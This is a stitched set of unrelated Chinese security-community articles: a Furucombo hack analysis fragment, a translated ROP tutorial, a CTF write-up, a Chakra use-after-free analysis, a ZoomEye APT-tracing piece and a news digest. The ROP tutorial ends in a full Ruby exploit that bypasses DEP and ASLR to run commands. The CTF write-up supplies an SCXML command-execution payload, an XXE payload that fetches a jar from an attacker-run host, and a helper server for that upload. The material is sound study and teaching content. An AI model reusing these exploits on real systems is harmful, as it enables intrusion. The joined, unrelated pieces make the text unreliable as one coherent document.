该攻击者合约地址除了创建合约交易，其余只有一笔交易0x6a14869266a1dcf3f51b102f44b7af7d0a56f1766e5b1908ac80a6a23dbaf449查看该笔交易的状态会发现，存储地址0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc目前写入的内容为攻击者合约地址0x86765dde9304bEa32f65330d266155c4fA0C4F04。
为什么会出现这种情况，继续根据Furucombo: Proxy
v1.0.0合约0x17e8ca1b4798b97602895f63206afcd1fc90ca5f，分析其对应的代理Aave
V2合约0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9。Aave V2 Proxy
合约中，0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc值对应IMPLEMENTATION_SLOT变量，最终使用该变量的函数为_implementation()，具体代码如下图所示。
继续分析Aave V2 Proxy 合约，
在initialize()函数中，均对IMPLEMENTATION_SLOT变量和implementation()函数进行了判断，函数第一行代码判断implementation()函数值是否为0，第二行代码中，也是判断IMPLEMENTATION_SLOT值是否相等，如果前两行代码判断成功，就会将initialize()函数传进来的地址_logic设置为Implementation，当Implementation设置成功后，其他调用者也就无法成功调用initialize()函数（initialize()函数条件的前两行再也无法满足），所以通过initialize()函数设置的Implementation为永久。
通过以上分析，攻击者合约的第二笔交易状态就可以解释了。由于urucombo官方未对Aave V2 Proxy
合约中的0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
这个位置进行初始化赋值，所以导致攻击者使用自己的地址进行了初始化，最终攻击者盗取了Furucombo合约有授权的代币价值约1500万美元。
建议用户尽快自行检查钱包授权，相关工具：https://cn.etherscan.com/tokenapprovalchecker
未参与的项目及时删除授权。
## 安全建议
DeFi今年确实备受关注，黑客攻击也不断发生，包括Harvest Finance，Value DeFi，Akropolis，Cheese
Bank和Origin Dollar等均受到不同程度的黑客攻击。针对频频发生的黑客攻击事件，我们给出以下的安全建议：
在项目上线之前，找专业的第三方安全企业进行全面的安全审计，而且可以找多家进行交叉审计；
可以发布漏洞赏金计划，发送社区白帽子帮助找问题，先于黑客找到漏洞；
加强对项目的安全监测和预警，尽量做到在黑客发动攻击之前发布预警从而保护项目安全。 | 社区文章 |
# 【技术分享】ropasaurusrex：ROP入门教程——ASLR
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://blog.skullsecurity.org/2013/ropasaurusrex-a-primer-on-return-oriented-programming>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[Kr0net](http://bobao.360.cn/member/contribute?uid=2874666548)
稿费：100RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**传送门**
[**【技术分享】ropasaurusrex:ROP入门教程——STACK**](http://bobao.360.cn/learning/detail/3927.html)
[**【技术分享】ropasaurusrex:ROP入门教程——DEP（上）**
****](http://bobao.360.cn/learning/detail/3925.html)
[**【技术分享】ropasaurusrex:ROP入门教程——DEP（下）**
****](http://bobao.360.cn/learning/detail/3923.html)
**什么是ASLR？**
ASLR或者说地址空间布局随机化，是现代系统里一种通过随机加载函数库的地址的防卫措施（除了FreeBSD）。举个例子，我们运行两次ropasaursrex并且获得system()的地址：
可以发现，两次system()的地址不一样，从0xb766e450到0xb76a7450，这就是问题所在。
**攻破ASLR**
所以，现在我们知道的哪些什么知识可以来用呢？可执行文件本身并不具有随机化，所及我们可以依赖它里面的每一个地址用来定位，这是十分有用的。最重要的是重定位表会一直保留着相同的地址：
我们知道了read()和write()在可执行文件中的地址。这有什么用呢。让我们来看看当可执行文件跑起来时这些地址的值：
仔细看看…我们知道了一个指向read()内存地址的指针！我们可以怎么做呢，想想…？我会给你一点提示：我们可以用write()函数从任意内存中抓取数据并且写入socket中。
**最后，执行一些代码！**
好的，休息一下，我们将这项工作分解成下面几个步骤，我们需要：
**1.用read()函数复制一指令进入内存**
**2.获得write()的地址并且使用write()**
**3.计算write()和system()两者地址的偏移量，间接得到system()的地址**
**4.调用system()**
要调用system()，我们需要在内存中的某处写入system()的地址，然后才能调用它。最简单的方式是重写read()的plt表，然后调用read()
但是现在，你可能很疑惑到底要怎么做，别急。我过去也是，并且我为我完成了这个任务感到震惊。:)
现在让我们全力以赴来完成它，下面是我们想要建立的栈：
Holy smokes，这是怎么来的？
我们从底部开始看看它是怎么运作的！为了方便区分，我为不同的栈帧做了标记。
Fram[1]我们之前已经见过了。它把命令写入可写的内存里面。
Fram[2]用”pppr”来清除栈（调整esp）。
Fram[3]用write()把read()的地址写入socket。
Fram[4]用”pppr”来清除栈（调整esp）。
Fram[5]socket读取另一个地址，并将其写入内存。这个地址将会是system()的地址。
read()的调用实际上是一个间接的跳转！所以如果我们可以改变0x804961c中的值，然后跳转过去，那样我们就可以跳转到任何的地方！所以在Fram(3)中我们读取read()的实际地址，然后在Fram[5]在这个地方重写地址。
Fram[6]用”pppr”来清除栈（调整esp）。这里有一点不同，ret的返回地址是0x804832c,这个是read()在plt表中的地址。接下来我们将其重写为system()的地址，然后就会跳转到system。
**最终的代码**
Whew!(口哨声)。这样就完成了。下面的代码充分利用ropasurusrex成功绕过DEP和ASLR：
1. require 'socket'
2.
3. s = TCPSocket.new("localhost", 4444)
4.
5. # The command we'll run
6. cmd = ARGV[0] + ""
7.
8. # From objdump -x
9. buf = 0x08049530
10.
11. # From objdump -D ./ropasaurusrex | grep read
12. read_addr = 0x0804832C
13. # From objdump -D ./ropasaurusrex | grep write
14. write_addr = 0x0804830C
15. # From gdb, "x/x system"
16. system_addr = 0xb7ec2450
17. # Fram objdump, "pop/pop/pop/ret"
18. pppr_addr = 0x080484b6
19.
20. # The location where read()'s .plt entry is
21. read_addr_ptr = 0x0804961c
22.
23. # The difference between read() and system()
24. # Calculated as read (0xb7f48110) - system (0xb7ec2450)
25. # Note: This is the one number that needs to be calculated using the
26. # target version of libc rather than my own!
27. read_system_diff = 0x85cc0
28.
29. # Generate the payload
30. payload = "A"*140 +
31. [
32. # system()'s stack frame
33. buf, # writable memory (cmd buf)
34. 0x44444444, # system()'s return address
35.
36. # pop/pop/pop/ret's stack frame
37. # Note that this calls read_addr, which is overwritten by a pointer
38. # to system() in the previous stack frame
39. read_addr, # (this will become system())
40.
41. # second read()'s stack frame
42. # This reads the address of system() from the socket and overwrites
43. # read()'s .plt entry with it, so calls to read() end up going to
44. # system()
45. 4, # length of an address
46. read_addr_ptr, # address of read()'s .plt entry
47. 0, # stdin
48. pppr_addr, # read()'s return address
49.
50. # pop/pop/pop/ret's stack frame
51. read_addr,
52.
53. # write()'s stack frame
54. # This frame gets the address of the read() function from the .plt
55. # entry and writes to to stdout
56. 4, # length of an address
57. read_addr_ptr, # address of read()'s .plt entry
58. 1, # stdout
59. pppr_addr, # retrurn address
60.
61. # pop/pop/pop/ret's stack frame
62. write_addr,
63.
64. # read()'s stack frame
65. # This reads the command we want to run from the socket and puts it
66. # in our writable "buf"
67. cmd.length, # number of bytes
68. buf, # writable memory (cmd buf)
69. 0, # stdin
70. pppr_addr, # read()'s return address
71.
72. read_addr # Overwrite the original return
73. ].reverse.pack("I*") # Convert a series of 'ints' to a string
74.
75. # Write the 'exploit' payload
76. s.write(payload)
77.
78. # When our payload calls read() the first time, this is read
79. s.write(cmd)
80.
81. # Get the result of the first read() call, which is the actual address of read
82. this_read_addr = s.read(4).unpack("I").first
83. 83
84. 84 # Calculate the address of system()
85. 85 this_system_addr = this_read_addr - read_system_diff
86.
87. # Write the address back, where it'll be read() into the correct place by
88. # the second read() call
89. s.write([this_system_addr].pack("I"))
90.
91. # Finally, read the result of the actual command
92. puts(s.read())
93.
94. # Clean up
95. s.close()
这里是运行结果：
当然你想的话，我们可以改变cat/etc/passwd成任何东西（包括端口监听）：
（总结：这篇文章的翻译到此结束，文章从三个阶段：STACK，DEP，ASLR逐步递进详细地讲解了ROP的编写，译者对这篇文章的翻译希望能给刚刚入门PWN的朋友们带来帮助。虽然译者的PWN能力很弱，但是译者觉得在PWN的学习中，当然除了出题人带来的了巨大脑洞之外，每一次PWN的学习都可以带来狠多的乐趣，就像本文的作者把栈比喻成函数的天堂和地狱，每次PWN的利用无不是对函数世界的重构，虽然重构的过程艰难且繁杂，但每次重构后的世界都能给我们带来收获）
**传送门**
* * *
[**【技术分享】ropasaurusrex:ROP入门教程——STACK**](http://bobao.360.cn/learning/detail/3927.html)
[**【技术分享】ropasaurusrex:ROP入门教程——DEP（上）**
****](http://bobao.360.cn/learning/detail/3925.html)
[**【技术分享】ropasaurusrex:ROP入门教程——DEP（下）**](http://bobao.360.cn/learning/detail/3923.html) | 社区文章 |
package BOOT-INF.classes.com.example.demos;
import java.io.File;
import java.io.IOException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.apache.commons.scxml2.SCXMLExecutor;
import org.apache.commons.scxml2.io.SCXMLReader;
import org.apache.commons.scxml2.model.SCXML;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.w3c.dom.Document;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;
@EnableAutoConfiguration
@Controller
public class Test {
private static Boolean check(String fileName) throws IOException, ParserConfigurationException, SAXException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder();
Document doc = builder.parse(fileName);
NodeList nodes = doc.getElementsByTagName("script");
if (nodes.getLength() != 0)
return Boolean.valueOf(false);
return Boolean.valueOf(true);
}
@RequestMapping({"/object"})
@ResponseBody
public String object(@RequestParam(name = "object", required = false) String object) throws Exception {
SCXMLExecutor executor = new SCXMLExecutor();
String file = "file:///home" + File.separator + object;
try {
if (check(file).booleanValue()) {
SCXML scxml = SCXMLReader.read(file);
executor.setStateMachine(scxml);
executor.go();
return "X ME , X ME , XX ME ~~";
}
System.out.println("nonono");
} catch (Exception e) {
System.out.println(e);
}
return "X E , X E , XX E ~";
}
@RequestMapping({"/xxe"})
@ResponseBody
public String xxe(@RequestParam(name = "uri", required = false) String uri) throws ParserConfigurationException, IOException, SAXException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder();
Document doc = builder.parse(uri);
NodeList nodes = doc.getChildNodes();
String res = "";
for (int i = 0; i < nodes.getLength(); i++) {
if (nodes.item(i).getNodeType() == 1)
res = res + nodes.item(i).getTextContent();
}
return res;
}
}
xxe路由可以通过file协议或者netdoc协议读取文件，后者可以列目录
object路由在通过check之后，读取传入的文件路径，然后进行scxml解析
这个scxml最近出现了一个RCE漏洞
<https://pyn3rd.github.io/2023/02/06/Apache-Commons-SCXML-Remote-Code-Execution/>
# scxml RCE
check过滤了`script`标签，但是我们可以使用`assign`代替
le1a.xml内容如下
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<state id="run">
<onentry>
<assign location="s" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('open -a calculator')"/>
</onentry>
</state>
</scxml>
# XXE之jar协议上传临时文件
要实现rce，必须要上传我们的poc，但是这里除了xxe以外，并没有上传点，于是学习到一个trike`jar协议上传临时文件`
将`le1a.xml`重命名为`le1a.jar`，利用`jar协议`去读取`le1a.jar`的内容，但由于必须要使用`!`指定解压哪个文件，这里的jar本身就是我们改的后缀名，本质不是一个压缩包，所以我们随便指定一个不存在的`le1a.txt`即可
xxe.xml放在http服务器上
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "jar:http://ip:4444/le1a.jar!/le1a.txt" >]>
<root><name>&xxe;</name></root>
通过题目的xxe功能去访问服务器上的xxe.xml文件
http://127.0.0.1:8080/xxe?uri=http://ip:7777/xxe.xml
使用`server.py`构建一个传输服务器，用于将`le1a.jar`上传到题目环境中
import sys
import time
import threading
import socketserver
from urllib.parse import quote
import http.client as httpc
listen_host = '0.0.0.0'
listen_port = 4444
jar_file = sys.argv[1]
class JarRequestHandler(socketserver.BaseRequestHandler):
def handle(self):
http_req = b''
print('New connection:',self.client_address)
while b'\r\n\r\n' not in http_req:
try:
http_req += self.request.recv(4096)
print('Client req:\r\n',http_req.decode())
jf = open(jar_file, 'rb')
contents = jf.read()
headers = ('''HTTP/1.0 200 OK\r\n'''
'''Content-Type: application/java-archive\r\n\r\n''')
self.request.sendall(headers.encode('ascii'))
self.request.sendall(contents[:-1])
time.sleep(30)
print(30)
self.request.sendall(contents[-1:])
except Exception as e:
print ("get error at:"+str(e))
if __name__ == '__main__':
jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler)
print ('waiting for connection...')
server_thread = threading.Thread(target=jarserver.serve_forever)
server_thread.daemon = True
server_thread.start()
server_thread.join()
可以看到临时文件已经存在于题目环境中，内容即为rce的poc（如果是打远程，可用netdoc协议去列出/tmp目录下的文件）
通过object路由去触发rce漏洞即可（这是我本地环境中的tmp目录，题目环境的tmp目录为/tmp）
http://127.0.0.1:8080/object?object=../../../../var/folders/45/j2rhfghn4s52ky4yznld54400000gn/T/jar_cache60887227063502351.tmp
# 打远程
我造！！！！！！！！！
# 参考
<https://jlkl.github.io/2020/08/24/Java_03/>
<https://pyn3rd.github.io/2023/02/06/Apache-Commons-SCXML-Remote-Code-Execution/> | 社区文章 |
# 分析微软Edge浏览器Chakra引擎中的UAF漏洞（CVE-2018-0946）
|
##### 译文声明
本文是翻译文章，文章来源：fortinet.com
原文地址：<https://www.fortinet.com/blog/threat-research/an-analysis-of-the-use-after-free-bug-in-microsoft-edge-chakra-engine.html>
译文仅供参考，具体内容表达以及含义原文为准。
在2018年5月发布的补丁中，微软在2018年5月[修复](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0946)了Edge 浏览器Chakra引擎中的一个UAF（Use-After-Free）漏洞。这个漏洞（CVE-2018-0946）可能导致Chakra引擎访问一个释放的函数地址，当受该漏洞影响的系统通过微软Edge浏览恶意网页时，恶意网站可能会利用这个释放后的函数来执行任意代码。
当Chakra引擎试图执行由即时（JIT）编译器生成的优化函数代码时，就会产生这个UAF漏洞，相应的编译器在关闭过程中就已经被释放。在这篇文章中，FortiGuard实验室深入分析了微软Edge浏览器Chakra引擎的汇编代码，以揭示导致整个漏洞的根本原因。
理论上，在不同的上下文中对Javascript对象的访问始终由CrossSite类控制。 然而，当DataView类的对象访问另一个上下文中的Chakra
即时编译器生成的优化函数代码时，则你会进行相应的检查。如果对象在相关上下文关闭之后访问已释放的函数代码，则会发生访问冲突。如果已释放的函数地址已经被即时编译器生成的其他函数代码覆盖，则可以利用这个漏洞执行任意代码。
我们使用了以下PoC，它基于[谷歌安全研究团队](https://bugs.chromium.org/p/project-zero/issues/detail?id=1534&desc=3)在我们分析期间公开的信息。
## 分析PoC
由于这是一个典型的UAF漏洞，我们使用了相关函数来演示“使用（Use）”、“释放（Free）”和“使用后释放（Use-After-Free）”的全过程。以下所有的汇编代码均取自chakra.dll（版本号11.00.14393.447）。我补充的注释已经被突出显示。
首先，让我们来看看“使用（Use）”过程。当Chakra引擎执行脚本“let opt =
buffer.opt;”时，它会将优化后的函数代码的地址存储到全局属性“opt”中，而Javascript对象将作为作为全局对象的属性被Chakra引擎引用。“PropertyId”是一个int32类型的值，用于检索属性。
让我们来看看地址“0x0f2b5620”处的内存：
“0x0f2b5620”是一个ScriptFunction对象，Chakra使用它来存储有关Javascript函数“opt()”的信息。我们可以很容易地发现，它包含了上面代码中的一个FunctionBody对象（“0xfb70360”）。FunctionBody对象的第一个字段是优化后的函数代码的地址：
让我们来看看内存中地址 “0x10e20000”处的优化后的函数代码。
## 分析部分由即时编译器生成的优化后的代码
接下在，让我们看看“释放（Free）”过程。当“f.src =
‘about:blank’;”被执行时，Chakra引擎将关闭iframe“f”的上下文。在内存地址“0x10e20000”处是优化后的函数代码，会在chakra!Memory::CustomHeap::Heap::DecommitAll被调用时被释放。
“ntdll!NtFreeVirtualMemory”随后将会被调用，以执行实际的释放。接下来，让我们来看看堆栈和堆栈的调用过程：
现在，让我们来看看内存的变化：
**之前：** ******之后：** ****最后，让我们来看看 “释放后使用（Use-After-Free）”。优化后的函数代码的地址从全局属性“opt”中检索，其代码会在“let obj =
opt();”被执行时执行。chakra!Js::JavascriptOperators::PatchGetMethodFromObject用于从全局属性“opt”中提取优化后的函数代码的地址。
chakra!Js::RootObjectBase::GetRootProperty由chakra!Js::JavascriptOperators::GetPropertyReference_Internal随后调用，以便能够通过使用PropertyId从全局对象中获得全局属性。
在从全局属性“opt”中获得ScriptFunction对象后，Chakra引擎将返回到chakra!Js::JavascriptOperators::PatchGetMethodFromObject：
chakra!Js::InterpreterStackFrame::OP_CallCommon被Chakra引擎用来执行优化后得函数代码。
chakra!Js::InterpreterStackFrame::OP_CallCommon负责从FunctionBody对象中提取优化后得函数代码的地址，随后执行优化后得函数代码：
## 解决方案
Fortinet发布了IPS签名MS.Edge.Chakra.DataView.Object.Cross.Context.UAF来解决此漏洞。
审核人：yiwang 编辑：边边 | 社区文章 |
**作者：Heige(a.k.a Superhei) of KnownSec 404 Team**
**时间：2020年5月25日**
**英文链接：<https://paper.seebug.org/1220/>**
今年一月发布的ZoomEye
2020里上线了ZoomEye的历史数据查询API接口，这个历史数据接口还是非常有价值的，这里就介绍我这几天做的一些尝试追踪APT的几个案例。
在开始之前首先你需要了解ZoomEye历史api接口的使用，参考文档：<https://www.zoomeye.org/doc#history-ip-search> 这里可以使用的是ZoomEye SDK <https://github.com/knownsec/ZoomEye> 另外需要强调说明下的是：
**ZoomEye线上的数据是覆盖更新的模式，**
也就是说第2次扫描如果没有扫描到数据就不会覆盖更新数据，ZoomEye上的数据会保留第1次扫描获取到的banner数据，这个机制在这种恶意攻击溯源里其实有着很好的场景契合点：恶意攻击比如Botnet、APT等攻击使用的下载服务器被发现后一般都是直接停用抛弃，当然也有一些是被黑的目标，也是很暴力的直接下线！所以很多的攻击现场很可能就被ZoomEye线上缓存。
当然在ZoomEye历史api里提供的数据，不管你覆盖不覆盖都可以查询出每次扫描得到的banner数据，但是目前提供的ZoomEye历史API只能通过IP去查询，而不能通过关键词匹配搜索，所以我们需要结合上面提到的ZoomEye线上缓存数据搜索定位配合使用。
## 案例一：Darkhotel APT
在前几天其实我在“黑科技”知识星球里提到了，只是需要修复一个“bug”：这次Darkhotel使用的IE 0day应该是CVE-2019-1367
而不是CVE-2020-0674（感谢廋肉丁@奇安信），当然这个“bug”不影响本文的主题。
从上图可以看出我们通过ZoomEye线上数据定位到了当时一个Darkhotel水坑攻击现场IP，我们使用ZoomEye SDK查询这个IP的历史记录：
╭─heige@404Team ~
╰─$python
Python 2.7.16 (default, Mar 15 2019, 21:13:51)
[GCC 4.2.1 Compatible Apple LLVM 10.0.0 (clang-1000.11.45.5)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
import zoomeye
zm = zoomeye.ZoomEye(username="xxxxx", password="xxxx")
zm.login()
u'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpX...'
data = zm.history_ip("202.x.x.x")
22
列举ZoomEye历史数据里收录这个IP数据的时间节点及对应端口服务
...
>>>for i in data['data']:
... print(i['timestamp'],i['portinfo']['port'])
...
(u'2020-01-28T10:58:02', 80)
(u'2020-01-05T18:33:17', 80)
(u'2019-11-25T05:27:58', 80)
(u'2019-11-02T16:10:40', 80)
(u'2019-10-31T11:39:02', 80)
(u'2019-10-06T05:24:44', 80)
(u'2019-08-02T09:52:27', 80)
(u'2019-07-27T19:22:11', 80)
(u'2019-05-18T10:38:59', 8181)
(u'2019-05-02T19:37:20', 8181)
(u'2019-05-01T00:48:05', 8009)
(u'2019-04-09T16:29:58', 8181)
(u'2019-03-24T20:46:31', 8181)
(u'2018-05-18T18:22:21', 137)
(u'2018-02-22T20:50:01', 8181)
(u'2017-03-13T03:11:39', 8181)
(u'2017-03-12T16:43:54', 8181)
(u'2017-02-25T09:56:28', 137)
(u'2016-11-01T00:22:30', 137)
(u'2015-12-30T22:53:17', 8181)
(u'2015-03-13T20:17:45', 8080)
(u'2015-03-13T19:33:15', 21)
我们再看看被植入IE 0day的进行水坑攻击的时间节点及端口：
>>> for i in data['data']:
... if "164.js" in i['raw_data']:
... print(i['timestamp'],i['portinfo']['port'])
...
(u'2020-01-28T10:58:02', 80)
(u'2020-01-05T18:33:17', 80)
(u'2019-11-25T05:27:58', 80)
(u'2019-11-02T16:10:40', 80)
(u'2019-10-31T11:39:02', 80)
(u'2019-10-06T05:24:44', 80)
很显然这个水坑攻击的大致时间区间是从2019-10-06 05:24:44到2020-01-28
10:58:02，另外这个IP很显然不是攻击者购买的VPS之类，而是直接攻击了某个特定的网站来作为“水坑”进行攻击，可以确定的是这个IP网站早在2019-10-06之前就已经被入侵了！从这个水坑的网站性质可以基本推断Darkhotel这次攻击的主要目标就是访问这个网站的用户！
我们继续列举下在2019年这个IP开了哪些端口服务，从而帮助我们分析可能的入侵点：
>>> for i in data['data']:
... if "2019" in i['timestamp']:
... print(i['timestamp'],i['portinfo']['port'],i['portinfo']['service'],i['portinfo']['product'])
...
(u'2019-11-25T05:27:58', 80, u'http', u'nginx')
(u'2019-11-02T16:10:40', 80, u'http', u'nginx')
(u'2019-10-31T11:39:02', 80, u'http', u'nginx')
(u'2019-10-06T05:24:44', 80, u'http', u'nginx')
(u'2019-08-02T09:52:27', 80, u'http', u'nginx')
(u'2019-07-27T19:22:11', 80, u'http', u'nginx')
(u'2019-05-18T10:38:59', 8181, u'http', u'Apache Tomcat/Coyote JSP engine')
(u'2019-05-02T19:37:20', 8181, u'http', u'Apache Tomcat/Coyote JSP engine')
(u'2019-05-01T00:48:05', 8009, u'ajp13', u'Apache Jserv')
(u'2019-04-09T16:29:58', 8181, u'http', u'Apache httpd')
(u'2019-03-24T20:46:31', 8181, u'http', u'Apache Tomcat/Coyote JSP engine')
很典型的JSP运行环境，在2019年5月的时候开了8009端口，Tomcat后台管理弱口令等问题一直都是渗透常用手段～～
顺带提一句，其实这次的攻击还涉及了另外一个IP，因为这个IP相关端口banner因为更新被覆盖了，所以直接通过ZoomEye线上搜索是搜索不到的，不过如果你知道这个IP也可以利用ZoomEye历史数据API来查询这个IP的历史数据，这里就不详细展开了。
## 案例二：毒云藤（APT-C-01）
关于毒云藤（APT-C-01）的详细报告可以参考
<https://ti.qianxin.com/uploads/2018/09/20/6f8ad451646c9eda1f75c5d31f39f668.pdf>我们直接把关注点放在
“毒云藤组织使用的一个用于控制和分发攻击载荷的控制域名 <http://updateinfo.servegame.org>”
“然后从 `hxxp://updateinfo.servegame.org/tiny1detvghrt.tmp` 下载 payload”
URL上，我们先尝试找下这个域名对应的IP，显然到现在这个时候还没有多大收获：
╭─heige@404Team ~
╰─$ping updateinfo.servegame.org
ping: cannot resolve updateinfo.servegame.org: Unknown host
在奇安信的报告里我们可以看到使用的下载服务器WEB服务目录可以遍历
所以我们应该可以直接尝试搜索那个文件名“tiny1detvghrt.tmp”，果然被我们找到了
这里我们可以基本确定了`updateinfo.servegame.org`对应的IP为165.227.220.223 那么我们开始老套路查询历史数据：
>>> data = zm.history_ip("165.227.220.223")
>>> 9
>>> for i in data['data']:
... print(i['timestamp'],i['portinfo']['port'])
...
(u'2019-06-18T19:02:22', 22)
(u'2018-09-02T08:13:58', 22)
(u'2018-07-31T05:58:44', 22)
(u'2018-05-20T00:55:48', 80)
(u'2018-05-16T20:42:35', 22)
(u'2018-04-08T07:53:00', 80)
(u'2018-02-22T19:04:29', 22)
(u'2017-11-21T19:09:14', 80)
(u'2017-10-04T05:17:38', 80)
继续看看这个`tiny1detvghrt.tmp`部署的时间区间：
>>> for i in data['data']:
... if "tiny1detvghrt.tmp" in i['raw_data']:
... print(i['timestamp'],i['portinfo']['port'])
...
(u'2018-05-20T00:55:48', 80)
(u'2018-04-08T07:53:00', 80)
(u'2017-11-21T19:09:14', 80)
最起码可以确定从2017年11月底就已经开始部署攻击了，那么在这个时间节点之前还有一个时间节点2017-10-04
05:17:38，我们看看他的banner数据：
>>> for i in data['data']:
... if "2017-10-04" in i['timestamp']:
... print(i['raw_data'])
...
HTTP/1.1 200 OK
Date: Tue, 03 Oct 2017 21:17:37 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 1757
Connection: close
Content-Type: text/html;charset=UTF-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
<head>
<title>Index of /</title>
</head>
<body>
<h1>Index of /</h1>
<table>
<tr><th valign="top">< img src="/icons/blank.gif" alt="[ICO]"></th><th>< a href=" ">Name</ a></th><th>< a href="?C=M;O=A">Last modified</ a></th><th>< a href="?C=S;O=A">Size</ a></th><th>< a href="?C=D;O=A">Description</ a></th></tr>
<tr><th colspan="5"><hr></th></tr>
<tr><td valign="top">< img src="/icons/unknown.gif" alt="[ ]"></td><td>< a href="doajksdlfsadk.tmp">doajksdlfsadk.tmp</ a></td><td align="right">2017-09-15 08:21 </td><td align="right">4.9K</td><td> </td></tr>
<tr><td valign="top">< img src="/icons/unknown.gif" alt="[ ]"></td><td>< a href="doajksdlfsadk.tmp.1">doajksdlfsadk.tmp.1</ a></td><td align="right">2017-09-15 08:21 </td><td align="right">4.9K</td><td> </td></tr>
<tr><td valign="top">< img src="/icons/unknown.gif" alt="[ ]"></td><td>< a href="doajksdlrfadk.tmp">doajksdlrfadk.tmp</ a></td><td align="right">2017-09-27 06:36 </td><td align="right">4.9K</td><td> </td></tr>
<tr><td valign="top">< img src="/icons/unknown.gif" alt="[ ]"></td><td>< a href="dvhrksdlfsadk.tmp">dvhrksdlfsadk.tmp</ a></td><td align="right">2017-09-27 06:38 </td><td align="right">4.9K</td><td> </td></tr>
<tr><td valign="top">< img src="/icons/unknown.gif" alt="[ ]"></td><td>< a href="vfajksdlfsadk.tmp">vfajksdlfsadk.tmp</ a></td><td align="right">2017-09-27 06:37 </td><td align="right">4.9K</td><td> </td></tr>
<tr><td valign="top">< img src="/icons/unknown.gif" alt="[ ]"></td><td>< a href="wget-log">wget-log</ a></td><td align="right">2017-09-20 07:24 </td><td align="right">572 </td><td> </td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>
</body></html>
从这个banner数据里可以得出结论，这个跟第一个案例里目标明确的入侵后植入水坑不一样的是，这个应该是攻击者自主可控的服务器，从`doajksdlfsadk.tmp`这些文件命名方式及文件大小（都为4.9k）基本可以推断这个时间节点应该是攻击者进行攻击之前的实战演练！所以这个IP服务器一开始就是为了APT攻击做准备的，到被发现后就直接抛弃！
## 总结
网络空间搜索引擎采用主动探测方式在网络攻击威胁追踪上有很大的应用空间，也体现了历史数据的价值，通过时间线最终能复盘攻击者的攻击手段、目的及流程。最后感谢所有支持ZoomEye的朋友们，ZoomEye作为国际领先的网络空间测绘搜索引擎，我们一直在努力！
* * * | 社区文章 |
# 2月27日安全热点 - Cellebrite可解锁所有iPhone/网页矿工威胁
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
某广告网络网络公司使用DGA算法绕过广告拦截器并在浏览器内部署矿工
<https://www.bleepingcomputer.com/news/security/ad-network-uses-dga-algorithm-to-bypass-ad-blockers-and-deploy-in-browser-miners/>
**安全客相关阅读：**<https://www.anquanke.com/post/id/99039>
以色列供应商Cellebrite可解锁所有iPhone，包括当前的iPhone X
<https://news.hitb.org/content/israel-based-vendor-cellebrite-can-unlock-every-iphone-including-current-gen-iphone-x>
**RIG exploit kit** 已不再传播恶意软件，而将重心放到加密矿工的传播上
<https://www.bleepingcomputer.com/news/security/the-rig-exploit-kit-has-forsaken-ransomware-for-coinminers/>
<https://www.bleepingcomputer.com/news/security/malware-epidemic-monero-mining-campaigns-are-becoming-a-real-problem/>
> [Rig EK One Year Later: From Ransomware to Coin Miners and Information
> Stealers](https://researchcenter.paloaltonetworks.com/2018/02/unit42-rig-ek-> one-year-later-from-ransomware-to-coin-miners-and-information-stealers/)
20000个ETH被盗却被神秘归还
<https://www.bleepingcomputer.com/news/cryptocurrency/hacker-returns-26-million-worth-of-ethereum-back-to-hacked-company/>
<http://www.zdnet.com/article/hacker-returns-20000-eth-stolen-during-coindash-ico/>
移动勒索软件和银行恶意软件威胁正在增长
<https://www.darkreading.com/mobile/threats-from-mobile-ransomware-and-banking-malware-are-growing-/d/d-id/1331140>
5月末起Windows XP、Vista和Apple TV第一代将不能使用iTunes
苹果已宣布从2018年5月25日起，iTunes将不再受Windows XP、Vista和Apple TV第一代支持。这些用户将无法使用iTunes
Store进行购买或下载。为了购买或访问您以前购买的内容，您需要在更新的操作系统上使用iTunes。
<https://www.bleepingcomputer.com/news/security/apple-dropping-itunes-support-for-apple-tv-1st-gen-windows-xp-and-vista/>
## 技术类
2017中国高级持续性威胁（APT）研究报告
<https://www.anquanke.com/post/id/98972>
OMG — 将物联网设备变成代理服务器的Mirai变种
<https://www.anquanke.com/post/id/99069>
SQL注入：9种绕过Web应用程序防火墙的方式
<https://www.digitalmunition.me/2018/02/sql-injection-9-ways-bypass-web-application-firewall/>
ArcSight简介-ArcSight技术系列之一
[https://mp.weixin.qq.com/s?__biz=MzI2MjQ1NTA4MA==&mid=2247483846&idx=1&sn=22671cab5c81369c4d9135b2a604a421&chksm=ea4bab81dd3c22972d3112979eb089b50a23786b7af78f7cb34451d4723fb72be650056184d9#rd](https://mp.weixin.qq.com/s?__biz=MzI2MjQ1NTA4MA==&mid=2247483846&idx=1&sn=22671cab5c81369c4d9135b2a604a421&chksm=ea4bab81dd3c22972d3112979eb089b50a23786b7af78f7cb34451d4723fb72be650056184d9#rd)
最容易阅读的Metasploit指南
